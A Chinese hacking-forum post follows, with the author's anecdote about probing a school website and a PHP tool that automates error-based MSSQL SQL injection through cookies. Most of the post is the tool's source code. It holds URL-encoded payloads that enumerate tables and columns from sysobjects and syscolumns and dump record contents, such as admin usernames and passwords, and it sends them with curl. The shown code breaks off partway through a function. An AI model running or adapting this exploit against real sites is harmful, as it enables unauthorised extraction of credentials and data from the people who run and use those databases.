[原创]MSSQL错误提示开启下的 COOKIE注入辅助工具[php版]

文章作者:MIKA[EST]
信息来源:邪恶八进制信息安全团队(www.eviloctal.com

好久没发帖子了,嘿嘿~~~上班了,很少能上网了哦~~~~昨天俺回到家,学校领导给俺打电话说让俺帮忙检测一下学校新更新的网站安全做得怎么样,哎~~~虽然俺一百个不乐意但是领导的面子还是要给的嘛
结果,找了N久也没找到什么洞洞可以用的(PS:俺的水平本来就不怎么样嘛),给领导打电话汇报了一下,说什么花钱买的就是比自己做的好(PS:原来的是俺做的,安全性确实差了点,但俺要求用php写,领导非不让,结果用asp俺是一边看着参考一边写的,能完成就不错了,根本顾不上安全不安全了),俺一听这话可真是气不打一处来,扔下电话俺就给BF打电话,还真灵。半个时辰的工夫,他就在QQ上给俺发了过来:
引用:
老公 21:10:04
数据库类型:sql server
错误提示:开启
注入类型:cookie注入
有无过滤:无
注入url: http://www.testforme.net/sid=cif1314
cookie:"my web=myset=templateMIKA; ASPSESSIONIDCSRRARBS=PIHLHHPDOFMCKJIBBIMMLCJL"
里面的url都被我替换过了,别问我为什么啊!我可不希望被你们再黑一次啊(不然领导要打PP了
马上去查了一下cookie注入的资料,很快就看完了。开始手工测试,我的天啊,按照资料上的方法我光暴一个表名就得敲半天的键盘,对于像我这种懒人来说绝对是噩梦啊

最省事的方法就是写程序了,还记得我原来用php写过一个注入猜解工具,于是找出来,改了改代码就OK了。嘿嘿,代码如下:
Code Language : PHP
  1. <?php
  2. ///////////////////////////////////////////////////////////////////////////////////////
  3. ///////////////////////////////////////////////////////////////////////////////////////
  4. //cookie注入辅助工具 by mika[EST]
  5. //只针对mssql数据库,且错误提示开启。
  6. //用法非常简单:
  7. //首先将你实际的$cookie变量的值替换到全局变量$cookie中。并将可注入的字段后面加上MIKA这
  8. //个关键字,如下例所示,不要有空格。
  9. //比如下面这个cookie:
  10. //\"my web=myset=template; ASPSESSIONIDCSRRARBS=PIHLHHPDOFMCKJIBBIMMLCJL\"
  11. //其中myset这个字段没有过滤好,存在注入漏洞,那么你就需要在template后面加上MIKA这个关键字
  12. //因此$cookie全局变量就成了如下这个样子:
  13. //$cookie=\"my web=myset=templateMIKA; ASPSESSIONIDCSRRARBS=PIHLHHPDOFMCKJIBBIMMLCJL\";
  14. //实际的referer值替换到全局变量$referer中。
  15. //存在注入的url地址替换到全局变量$url中。
  16. //另外,全局变量$bstr的值决定了注入模式,0代表数字型,1代表字符型,根据实际情况修改
  17. //全局变量$proxy决定了是否使用代理,如果使用的话,则修改$proxy_host和$proxy_port为相应
  18. //的代理地址和端口即可。
  19. //by mika[EST]
  20. ///////////////////////////////////////////////////////////////////////////////////////
  21.  
  22. ini_set(\"max_execution_time\",0);
  23. print_r('
  24. ---------------------------Code By MIKA[EST]------------------------------------
  25.  
  26. 使用方法:
  27.    php injcookie.php <-t> [表名] [-f [字段名]]
  28.  
  29. 注意:如果要猜测多个字段的值请用逗号隔开
  30. 比如:
  31.  暴取所有数据表:php injcookie.php -t
  32.  
  33.  暴取某个表的字段:php injcookie.php -t admin -f
  34.  
  35.  暴取表的内容:php injcookie.php -t admin -f username,password
  36.  
  37. ');
  38. global $curl,$referer,$cookie,$url;
  39. $cookie=\"my web=myset=templateMIKA; ASPSESSIONIDCSRRARBS=PIHLHHPDOFMCKJIBBIMMLCJL\";
  40. $referer=\"http://www.testforme.net/hello.asp?sid=cifs1314\";
  41. $url=\"http://www.testforme.net/hello.asp?sid=cifs1314\";
  42.  
  43.  
  44. $tab_exp=\"%20and%201=(select%20top%201%20nchar(124)%2bname%2bnchar(124)%20from%20sysobjects%20where%20xtype=nchar(85)%20and%20name%20not%20in(MFM_TABLES))--\";
  45. $field_exp=\"%20and%20(select%20top%201%20nchar(124)%2Bcol_name(object_id(TABLE_NAME),MFM_NUM)%2Bnchar(124)%20from%20sysobjects)%3E0--\";
  46. $value_exp=\"%20and%20(select%20top%201%20nchar(124)%2Bcast(MFM_FIELD_NAME%20as%20varchar(8000))%2Bnchar(124)%20from%20MFM_TABLE_NAME%20where%20MFM_FIELD_NAME%20not%20in(MFM_VALUE))%3E0--\";
  47. $count_exp=\"%20and%20(select%20nchar(124)%2Bcast(%20count(*)%20as%20varchar(255))%2bnchar(124)%20from%20MFM_TABLE_NAME)%3E0--\";
  48. $count_table=\"%20and%201=(select%20top%201%20nchar(124)%2bcast(count(*)%20as%20varchar(8000))%2bnchar(124)%20from%20sysobjects%20where%20xtype=nchar(85))--\";
  49. $count_column=\"%20and%201=(select%20nchar(124)%2Bcast(count(*)%20as%20varchar(8000))%2Bnchar(124)%20from%20syscolumns%20where%20id=object_id(MFM_TABLE_NAME))--\";
  50. ///////////////////////////////////////////////////////////////////////////////////////
  51. ///////////////////////////////////////////////////////////////////////////////////////
  52. $bstr=1;//注入模式:0=数字型,1=字符型
  53. $proxy=0;//代理模式:0=无代理,1=有代理
  54. if($proxy)
  55. {
  56.  $proxy_host=\"127.0.0.1\";
  57.  $proxy_port=\"5687\";
  58. }
  59. switch($argc){
  60. case 2:
  61.  if($argv[1]!=\"-t\")
  62.  die(\"unexpected argument \\"$argv[1]\\"!\n\");
  63.  exploit_tab();
  64.  break;
  65. case 4:
  66.  if($argv[1]!=\"-t\")
  67.  die(\"unexpected argument \\"$argv[1]\\"!\n\");
  68.  if($argv[3]!=\"-f\")
  69.  die(\"unexpected argument \\"$argv[3]\\"!\n\");
  70.  $table_name=$argv[2];
  71.  exploit_field();
  72.  break;
  73. case 5:
  74.  if($argv[1]!=\"-t\")
  75.  die(\"unexpected argument \\"$argv[1]\\"!\n\");
  76.  if($argv[3]!=\"-f\")
  77.  die(\"unexpected argument \\"$argv[3]\\"!\n\");
  78.  $table_name=$argv[2];
  79.  $field_name=$argv[4];
  80.  explode_value();
  81.  break;
  82. }
  83.  
  84. ///////////////////////////////////////////////////////////////////////////////////////
  85. ///////////////////////////////////////////////////////////////////////////////////////
  86. //暴取字段值函数
  87. function explode_value()
  88. {
  89. global $bstr,$table_name,$field_name,$cookie,$count_exp,$curl;
  90. $i=1;
  91. $count=0;
  92. $fields=explode(\",\",$field_name);
  93. $sql_str=\" And (Select Top 1 nchar(124)\";
  94. $sub_str='+isNull(cast([MIKA_FIELD] as varchar(8000)),char(32))';
  95. foreach($fields as $field){
  96. $new_sub_str=str_replace('MIKA_FIELD',$field,$sub_str);
  97. $sql_str.=$new_sub_str.\"+char(92)\";
  98. }
  99. $sql_str=substr($sql_str,0,strlen($sql_str)-9);
  100. $sql_str.=\"+nchar(124) from (Select Top MIKA_NUM $field_name From [MIKA_TABLE] Where 1=1 Order by $field_name) T Order by \";
  101. $sub_str=\"MIKA_FIELD desc\";
  102. foreach($fields as $field){
  103. $sub_strs[]=str_replace('MIKA_FIELD',$field,$sub_str);
  104. }
  105. $sql_str.=implode(\",\",$sub_strs).\")>0--\";
  106. //echo $sql_str.\"\n\";
  107. $sql_str=str_replace('MIKA_TABLE',$table_name,$sql_str);
  108.  
  109. $old=str_replace('MFM_TABLE_NAME',$table_name,$count_exp);
  110. init_session();
  111. if($bstr)
  112. $new_cookie=str_replace('MIKA','%27'.$old,$cookie);
  113. else
  114. $new_cookie=str_replace('MIKA',$old,$cookie);
  115.  
  116. $re=find_value($new_cookie);
  117. $record_file=fopen(\"records-$field_name.txt\",\"w\");
  118. if($re)
  119. {
  120. $count=$re;
  121. echo \"the number of record in $table_name is: $count\n\";
  122. fputs($record_file,\"the number of record in $table_name is: $count\r\n\");
  123. }
  124.  
  125. foreach ($fields as $field){
  126.  $tmp=sprintf(\"%-32s\",$field);
  127.  $str.=$tmp;
  128. //echo $field;
  129. //echo \"\t\";
  130. }
  131. echo $str;
  132. echo \"\r\n-----------------------------------------------------------------------------\r\n\";
  133. fputs($record_file,\"$str\");
  134. fputs($record_file,\"\r\n-----------------------------------------------------------------------------\r\n\");
  135. do{
  136.  
  137. $new_sql_str=str_replace('MIKA_NUM',$i,$sql_str);
  138. //echo $sql_str.\"\n\";
  139. if($bstr)
  140. $new_cookie=str_replace('MIKA','%27'.urlencode($new_sql_str),$cookie);
  141. else
  142. $new_cookie=str_replace('MIKA',urlencode($new_sql_str),$cookie);
  143. $re=find_value($new_cookie);
  144. if($re)
  145. {
  146.  $res=explode(\"\\\",$re);
  147.  $str=\"\";
  148.  foreach($res as $ree){
  149.  $tmp=sprintf(\"%-32s\",$ree);
  150.  $str.=$tmp;
  151.  //echo $ree;
  152.  //echo \"\t\";
  153.  }
  154.  echo $str;
  155.  echo \"\n\";
  156.  fputs($record_file,\"$str\r\n\");
  157. }
  158. $i++;
  159. }while($i<=$count);
  160. fclose($record_file);
  161. }
  162. ///////////////////////////////////////////////////////////////////////////////////////
  163.  
  164. ///////////////////////////////////////////////////////////////////////////////////////
  165. //另一种方式暴取表名的函数
  166. function explode_tab(){
  167. global $bstr,$curl,$cookie;
  168. $num=1;
  169. $old_re=\"\";
  170. $re=\"\";
  171. $words=\" And (Select Top 1 nchar(124)+cast(name as varchar(8000))+nchar(124) from(Select Top MIKA_NUM id,name from sysobjects Where xtype=char(85) order by id) T order by id desc)>0--\";
  172. init_session();
  173.  
  174. do{
  175. $new_words=str_replace('MIKA_NUM',$num,$words);
  176. if($bstr)
  177. $new_cookie=str_replace('MIKA',\"%27\".urlencode($new_words),$cookie);
  178. else
  179. $new_cookie=str_replace('MIKA',urlencode($new_words),$cookie);
  180. $re=find_value($new_cookie);
  181. $table_file=fopen(\"table_names.txt\",\"a\");
  182. if($re!=$old_re)
  183.  {
  184. echo \"|------------+\".$re.\"\n\";
  185. fputs($table_file,\"|------------+\".$re.\"\r\n\");
  186.  }
  187. else
  188. break;
  189. $old_re=$re;
  190. $num++;
  191. }while($re);
  192. fclose($table_file);
  193. }
  194. ///////////////////////////////////////////////////////////////////////////////////////
  195.  
  196. ///////////////////////////////////////////////////////////////////////////////////////
  197. //初始化会话函数
  198. function init_session(){
  199. global $proxy,$curl,$referer,$url,$proxy_host,$proxy_port;
  200. $curl=curl_init();
  201. curl_setopt($curl,CURLOPT_HEADER,0);
  202. curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
  203. curl_setopt($curl,CURLOPT_REFERER,$referer);
  204. curl_setopt($curl,CURLOPT_URL,$url);
  205. if($proxy)
  206. curl_setopt($curl,CURLOPT_PROXY,\"$proxy_host:$proxy_port\");
  207. }
  208. ///////////////////////////////////////////////////////////////////////////////////////
  209.  
  210. ///////////////////////////////////////////////////////////////////////////////////////
  211. //通用取值函数
  212. function find_value($cookie){
  213. global $curl;
  214. //echo $cookie.\"\n\";
  215. curl_setopt($curl,CURLOPT_COOKIE,$cookie);
  216. $content=curl_exec($curl);
  217.  
  218. //echo $content;
  219. $re=preg_match(\"/(\|.+\|)/i\",$content,$result);
  220. if($re)
  221. {
  222. return str_replace('|','',$result[1]);
  223. }
  224. return 0;
  225. }
  226. ///////////////////////////////////////////////////////////////////////////////////////
  227.  
  228. ///////////////////////////////////////////////////////////////////////////////////////
  229. //字符串转换为msssql的16进制数值
  230.  
  231. function str2sqlhex($str){
  232. $temp=\"0x\";
  233. for($i=0;$i<strlen($str);$i++){
  234. //echo $str[$i].\"\n\";
  235. $temp.=dechex(ord($str[$i])).\"00\";
  236. }
  237. //echo $temp.\"\n\";
  238. return $temp;
  239. }
  240. ///////////////////////////////////////////////////////////////////////////////////////
  241.  
  242. ///////////////////////////////////////////////////////////////////////////////////////
  243. //暴取表名函数
  244.  
  245. function exploit_tab(){
  246. global $bstr,$cookie,$tab_exp,$count_table,$curl;
  247. $table=Null;
  248. $temp=Null;
  249. init_session();
  250. if($bstr)
  251. $new_cookie=str_replace('MIKA','%27'.$count_table,$cookie);
  252. else
  253. $new_cookie=str_replace('MIKA',$count_table,$cookie);
  254.  
  255. $table_file=fopen(\"table_names.txt\",\"w\");
  256.  
  257. if($re=find_value($new_cookie)){
  258. echo \"[+]Number of tables:$re\n\";
  259. fputs($table_file,\"[+]Number of tables:$re\r\n\r\n\");
  260. }
  261. else{
  262. fputs($table_file,\"TABLES:\r\n\r\n\");}
  263. /*do{
  264. if($table==Null){
  265. $new_url=str_replace('MFM_TABLES',\"''\",$tab_exp);
  266. }
  267. else{
  268. $new_url=str_replace('MFM_TABLES',$temp,$tab_exp);
  269. }
  270. if($bstr)
  271. $new_cookie=str_replace('MIKA','%27'.$new_url,$cookie);
  272. else
  273. $new_cookie=str_replace('MIKA',$new_url,$cookie);
  274.  
  275. $re=find_value($new_cookie);
  276. if($re)
  277. {
  278. $table=$re;
  279. if($temp==Null){
  280. //$temp=\"'\".$table.\"'\";
  281. $temp=str2sqlhex($table);
  282. }else{
  283. //$temp.=\",\".\"'\".$table.\"'\";
  284. $temp.=\",\".str2sqlhex($table);
  285. }
  286. fputs($table_file,\"|------------+\".$table.\"\n\");
  287. echo \"|------------+\".$table.\"\n\";
  288. }
  289. }while($re);*/
  290. fclose($table_file);
  291. explode_tab();
  292.  
  293. }
  294. ///////////////////////////////////////////////////////////////////////////////////////
  295.  
  296. ///////////////////////////////////////////////////////////////////////////////////////
  297. //暴取字段函数
  298. function exploit_field(){
  299. global $bstr,$table_name,$cookie,$field_exp,$count_column,$curl;
  300. $old_url=str_replace('TABLE_NAME',str2sqlhex($table_name),$field_exp);
  301. $count_column=str_replace('MFM_TABLE_NAME',str2sqlhex($table_name),$count_column);
  302. $num=1;
  303.  
  304. init_session();
  305. if($bstr)
  306. $new_cookie=str_replace('MIKA','%27'.$count_column,$cookie);
  307. else
  308. $new_cookie=str_replace('MIKA',$count_column,$cookie);
  309.  
  310. $field_file=fopen(\"$table_name-fields.txt\",\"w\");
  311. if($re=find_value($new_cookie)){
  312. echo \"[+]Numbers of columns in $table_name:$re\n\";
  313. fputs($field_file,\"[+]Numbers of columns in $table_name:$re\r\n\r\n\");
  314. }else{
  315. fputs($field_file,$table_name.\"\r\n\r\n\");
  316. }
  317.